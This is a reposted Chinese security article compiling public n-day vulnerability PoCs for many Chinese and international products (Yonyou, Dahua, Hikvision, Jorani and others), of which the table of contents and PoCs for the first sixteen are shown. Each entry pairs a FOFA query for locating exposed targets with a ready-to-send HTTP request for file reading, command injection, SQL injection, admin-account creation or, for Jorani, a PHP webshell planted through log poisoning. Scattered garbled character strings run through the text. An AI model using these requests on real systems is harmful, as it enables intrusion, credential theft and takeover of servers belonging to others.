互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
. m9 B; L8 T& o! f3 K+ {9 P% K7 o
, W5 s7 Y# H9 Z# B漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
4 }0 T  V0 d  U! t. n- E2 ^! d0 v
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
) C- `+ Y; b$ J" c
* x( g0 e2 X9 Z# Z合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
; L4 G9 Q( u7 |: \2 w# u9 I

声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
$ `5 P0 ~6 v+ j; e" w+ ]
- G9 j* u  X+ K# v& x8 h' ^4 |0 T有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
: Y- Z' W0 `; m8 f$ N
% ?( ~+ A. Z: r

1 `+ o% K' f* N! J  k0 Z! H# ^9 G! [目录

01
" a0 Z- ^( N/ r; s8 i" L7 d, R
1. StarRocks MPP数据库未授权访问
6 R. H# N( D+ y# u2. Casdoor系统static任意文件读取
- O( P- B- c& ~+ X3. EasyCVR智能边缘网关 userlist 信息泄漏
7 E7 Z; W& c, E- J& O) x& H4. EasyCVR视频管理平台存在任意用户添加
* |: A# P' L- w5. NUUO NVR 视频存储管理设备远程命令执行
) L' W' ?' F: R! ^0 v6. 深信服 NGAF 任意文件读取
$ E8 z, h/ g& x7. 鸿运主动安全监控云平台任意文件下载
' M) W" r+ i$ @  l8. 斐讯 Phicomm 路由器RCE
1 B; D+ T! ?1 D) w9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
& `$ ~# @( u/ `1 S: k15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
: c, y: W: \# a$ s: {, J) W7 R$ M2 Z17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
. n$ L" O8 s" d+ G" R1 A19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
6 ?/ T9 U$ }$ u5 K0 Q# c' G7 c4 @20. 大华ICC智能物联综合管理平台任意文件读取
# p/ h4 _, O) K& U21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
( K- h; S  B+ L( I, ^' e23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
+ ]; d5 U# [* u2 V2 [0 O2 d0 P24. 用友NC 6.5 accept.jsp任意文件上传
: u# J1 r9 l7 Z! j3 R, g25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
. T; C. ?' M" k) j! e1 r# ?27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
  `3 E5 m7 w# i0 H4 D0 X+ T4 ]32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
( e# m/ ?4 c: L5 k34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
( e9 z% G0 i6 z7 Q, X2 V7 Y36. 用友NC-Cloud soapFormat XXE
7 q3 S( F: R; m37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
* ?/ Q/ V5 j# H* g6 ^7 {) h39. 用友U8 Cloud RegisterServlet SQL注入
" _! m! v7 w4 S6 S+ f$ E$ v$ X40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
4 E5 m2 M3 X; D, S6 @43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
2 ]  A' r) C5 w+ T46. 用友GRP-U8 sqcxIndex.jsp SQL注入
+ {5 a+ \  U. d47. 用友GRP A++Cloud 政府财务云 任意文件读取
* w# e  Z  Y4 E1 b, y48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
& z5 y4 H( T; {" b* u* U2 i50. QDocs Smart School 6.4.1 filterRecords SQL注入
$ t- w$ S* U$ _, \/ V5 A51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
1 ^" d' o% ^! H$ p52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
, J' K7 I( d3 D; ]6 b8 Y' F* k57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
2 J% e9 O" q* T% T. S& f9 a60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
, l0 p3 ~, G! }: P& V65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
1 k9 i1 u, P* K68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
" o0 m- y! A8 y+ a* ~70. 万户ezEIP success 命令执行
  g) _% F5 k# D; o1 f$ q71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
1 |- K2 M9 E1 M2 N8 L1 N73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
5 _9 R4 ?! K. i& U/ d" ~75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
& ~7 k3 r: A- ?, D1 g2 e76. 新开普掌上校园服务管理平台service.action远程命令执行
* a3 w: t! c" S, ~77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
( L: h5 I. Z% n" R4 I7 T' l81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" o0 i/ H% X; A82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
" i" Q2 q7 ~$ r, {9 R5 P: [, K87. 安恒明御安全网关aaa_local_web_preview文件上传
$ D0 Q' A2 W7 q# C/ [" i# ]88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
* k/ e7 V  Q8 E89. 致远互联FE协作办公平台editflow_manager存在sql注入
, t, ]+ e0 O- S- c% Y6 V90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
5 X+ n+ l( L4 W4 ^0 Z- q( G( p91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
4 U' ?" U! ^4 D" I2 g. m# `92. 海康威视运行管理中心session命令执行
2 s2 `5 u0 l# B% {* J: c$ ^2 A93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
) y) r0 U4 o& [3 |5 T7 D94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
0 A6 p/ G- e& P, J/ a95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
4 `' r/ L4 I7 p3 Y+ b+ D97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 J' T7 ~, A. g* ^1 X  D( h. [98. SpiderFlow爬虫平台远程命令执行
) J( {9 V$ t: b# y  u99. Ncast盈可视高清智能录播系统busiFacade RCE
& `8 \, B8 u7 ^" A100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
1 `; P9 h( n1 B: k104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
5 {- q, d8 h- Q9 _# f6 N105. SpringBlade v3.2.0 export-user SQL 注入
6 f4 T7 C( T1 D) t1 `6 s6 c& U106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
+ ?+ T1 l+ y$ M: W1 j6 u( L108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
( {5 z7 u5 W3 F113. WordPress Automatic 插件任意文件下载和SSRF
5 R6 t) S# }5 L  R: J& J114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
; F* o% z0 V+ l) F5 ?% ^2 L116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
2 ]' m7 `  O( t8 u  C119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
9 {$ i9 o# C7 i" w# X' e* q7 {9 ]) \124. 湖南建研工程质量检测系统任意文件上传
, I2 q  v* [1 {  ]& j+ F- z. H- U  z125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
  h! L7 \5 \5 A# I8 N) j130. Laykefu客服系统任意文件上传
+ h' B  K# k1 [131. Mini-Tmall <=20231017 SQL注入
8 G* h5 h5 ?+ E" q. E1 p8 R* a132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
7 l% z5 _8 I# T, v3 T5 s138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
* C; c/ {& b1 M% L# q139. 福建科立讯通信指挥调度平台editemedia.php sql注入
0 M' R" k0 X) B' j; x8 S" W% g140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
* ~! F6 G4 E5 A2 n3 }/ s( h1 L141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
: K+ p) o6 y" l3 j" B7 K7 a142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
# E8 X. w8 |/ x: o2 p2 q$ \! J8 e/ r144. D-Link nas_sharing.cgi 命令注入
: ?' M9 a' o( R' m' n9 S145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
8 K5 ^3 s3 W2 K146. MajorDoMo thumb.php 未授权远程代码执行
' M: A9 K+ N+ b6 ^+ s147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
# ^  L6 ?. Y, [4 J( J" \149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
# l$ v. t2 ^6 d3 r5 W$ L0 z2 X- I151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
- ^! @4 E7 x* g$ G' ^' }; c153. gradio任意文件读取
3 Q; ?/ K- U2 s! i+ m4 @' D154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
1 V' U& Q- H& k! X156. TBK DVR-4104/DVR-4216 操作系统命令注入
8 T; I: f' B3 L157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
4 O* r4 X* ?- \0 Z, p4 J162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
# h3 p4 l. t2 D) F3 G163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
: f5 o/ a5 L1 G' ~7 z- d7 s% K166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
' d4 t, B* O& V& Q3 o171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 Z# z4 X% f" j  ]175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
, u1 u" q) r( `& B7 j( {& \+ G179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
% J) P7 H3 K) {5 u1 T5 ]7 a% j) x181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
8 y$ a8 l' P5 {6 p3 E- r6 V182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
6 p$ d: [; R( o/ @+ O184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 [! P$ o3 c9 `5 ~; c185. 瑞友天翼应用虚拟化系统SQL注入
2 \2 r7 L+ e/ q2 o. M! w0 b186. F-logic DataCube3 SQL注入
6 V! w# u# J7 b9 _* l% m1 b187. Mura CMS processAsyncObject SQL注入
5 ?' V. j& Z" c$ u+ X; [  Q188. 叁体-佳会视频会议 attachment 任意文件读取
' |; K7 E# O- n: z189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
' S! I' z/ P; e+ H; }% q& U191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
. W0 r" ^* a4 c* w! V6 R194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
7 W) F% U  N1 G: m196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
/ u! p" X$ D3 l' o198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
5 P, f1 L/ U+ D; [# U1 c* Q% U200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
# Q8 Q- B' ]% z% \9 @  [, H% i3 S202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

* Z7 n. R5 T/ u6 Z# w& xPOC列表

8 x$ K8 k: l. \7 p02
1 {7 r: y2 ~+ X  J8 x8 ]2 g
. h( i- y6 H( Y/ w1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
+ p9 O1 r' p9 Q' a$ |7 P

2. Casdoor系统static任意文件读取
8 B" V% ^/ ]  a. w! j' QFOFA ：title="Casdoor"
* ?- ?+ F. U" f( C' ?GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
' l* @2 E. A/ }) WHost: xx.xx.xx.xx:9999
5 y1 ]. I7 f: q1 Z" \: QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& X- D) R% x- }, W# U' RConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
6 u: D) N5 p- o) I5 G; _FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
( n* e8 I/ |5 y3 g

4. EasyCVR视频管理平台存在任意用户添加
/ q) v1 h$ [% _8 x; x6 U# |  h& H- mFOFA ：title="EasyCVR"
8 ]) x5 Y7 F. ~( X3 X; ?4 }9 y3 q
/ c- w, B. D) ]7 S8 r6 Wpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
0 W* Z' O- }( F* u1 C
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
$ i+ r. O5 C7 J1 a9 B. h
  |0 p" E5 H" k$ v: J# m
! t' Y5 @) z- |5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
* z( t: {0 Y* W: F% ZGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
9 V; S, T0 F+ X; lHost: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
; }2 V# ~: B) n" K" \. B& v7 D3 \GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
# C+ R  B7 ^/ W3 ~- Y
0 J' v6 G; v% p* M! s: F
4 @5 T& C( c; O  O+ ?* N4 D, v, g2 i7. 鸿运主动安全监控云平台任意文件下载
& {' g9 |3 o, I( s( W" P; A6 T7 u7 tFOFA：body="./open/webApi.html"
. c% j6 K% r# wGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
% k6 F( K- w/ a, b& Z
9 }9 o, E. ]- x7 H
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
2 E6 D9 Q0 `, {POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
/ U& \* s4 P7 l% FHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
9 v$ o% m* W! e3 f; K: uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 g. ?/ K; _9 R2 d
------WebKitFormBoundaryxbgjoytz
9 Y/ P, D  W. |! |0 \Content-Disposition: form-data; name="wifiRebootEnablestatus"

5 H- k4 h2 J3 H* S%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

( C& S! M# I! `& W' J4 E/ b; y12:00; id;
) w# w/ S/ s2 R; Y& N------WebKitFormBoundaryxbgjoytz
( I* o. m. G# w, U. wContent-Disposition: form-data; name="wifiRebootendrange"
; z  @* Q% O- [) r; ~; a
, q) Z2 [$ @: H9 y4 [4 e%s:
------WebKitFormBoundaryxbgjoytz
6 ]4 H* N% f. I8 E5 |/ AContent-Disposition: form-data; name="cururl2"
! U1 @7 S3 y/ \1 a# U0 |

  }( m2 ]9 i3 I- q: ^------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
1 t5 _6 ]5 i9 c6 a1 q! z3 g( v9 z( nHost: x.x.x.x


0 E* Z  m- m( r% S& W1 Jpayload为下列语句的二次Url编码
; F- ~" H" @( n3 S0 j: H
9 B: j4 @& g+ ~; k4 ]6 L8 o3 T' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
6 L+ Z7 _! q/ u. d
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
, n' D* r  Q9 N5 l( X% w0 G# cFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
/ \2 X( [, _) O3 |- [9 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
& o5 u9 s9 X- y$ t0 c# QAccept-Language: zh-CN,zh;q=0.9
( I9 ^7 R. S2 s3 rConnection: close
$ ?0 R( ~& i9 y% U$ C2 D. aContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
& v3 W/ w1 j  ]
- T9 F+ D4 b( g8 d------WebKitFormBoundaryxdgaqmqu
3 L! ^/ ^. m* z! Y* ?, J6 JContent-Disposition: form-data; name="file"filename="icfitnya.txt"
3 h1 n+ T8 q2 H( t( EContent-Type: text/html
( k$ a5 O/ ?9 u; z( k
) v" ?9 m4 _& G8 O& |2 i3 vjmnqjfdsupxgfidopeixbgsxbf
& t2 m. r) M/ V6 y( D6 @$ ~; {------WebKitFormBoundaryxdgaqmqu--
! P6 x2 O7 g5 R+ ~9 z) T
7 p& ^6 ~. g, {3 R7 I# t* d
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
: C# @) i$ |4 n+ f& p( x0 YHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 b+ p7 E; }1 O7 r0 C" i# eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

" k* h4 }: M6 n' N* v
; ~, N/ N* V4 H* ^/ d+ l2 N12. Jorani < 1.0.2 远程命令执行
5 f. ~  ~$ @2 c# r0 o( ^FOFA：title="Jorani"
4 e: |! K; k6 h第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
3 d6 ?$ C0 ?& Z9 V6 A9 bUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
# \6 h" a# u7 o. E: O1 MAccept-Encoding: gzip

" Y3 y- D( \7 Y9 c
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
/ F5 V- c6 D) U$ J7 oDate: Tue, 24 Oct 2023 09:34:28 GMT
2 B# C: }2 G; iExpires: Thu, 19 Nov 1981 08:52:00 GMT
2 r/ g0 c# {0 B, j% e8 P& fLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
. I* P- B/ Q; o& OSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
8 Y* V3 I2 v& f" \Vary: Accept-Encoding
( T7 _# Z' q9 d( z. t
" C: F4 M- W! V' O+ e6 ?6 K
2 @* Y  ~8 G. Z* P- QPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
* C8 G0 R% z0 N# Y. V& k8 tHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
4 }- I7 O  b4 R% i/ J' [Content-Type: application/x-www-form-urlencoded
  I/ M0 d2 g% K5 eCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
. z5 u) t0 m; p
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

- L9 C% {$ q% B7 |' ^

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
" n8 y! X; a9 Y; D  e  c: HGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
5 u- e( o) M" a' iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
) C; ]: e; Y5 G. ^* w1 PCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
6 I8 p# B7 k2 S! MX-REQUESTED-WITH: XMLHttpRequest
. F% }8 ?9 S; b) C& ~Accept-Encoding: gzip
9 d  L) Z0 B1 S' O8 c
( {3 s0 d! [% B1 A
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
$ `1 w# _; q4 \$ v5 J/ `8 q: Z7 OGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
2 E" u: \- y. y7 _2 P4 h: \Accept-Encoding: gzip
7 y. C2 i6 d  h0 k6 [+ i- c* Q4 {

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
4 @$ }' u8 V4 v( h4 r" bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
4 e6 g; ^' I( z( u& dAccept-Language: en
Accept-Encoding: gzip
8 e% T3 Y1 b4 D& r$ T, J
- O' O' `; W6 w8 e# s$ p: d4 m4 G' F* U
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
; l6 S+ g3 D5 l' _泄露内容包括用户名密码
/ W  w0 t' x" v9 Q# @5 }GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
% \2 z9 ?2 f. \* @) @2 X! gAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
6 X" ]$ M9 i* }* fsec-ch-ua-platform: Windows
& N: p3 e3 \; \( MAccept-Encoding: gzip


/ o* c% p$ l( s- i) ^1 X16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
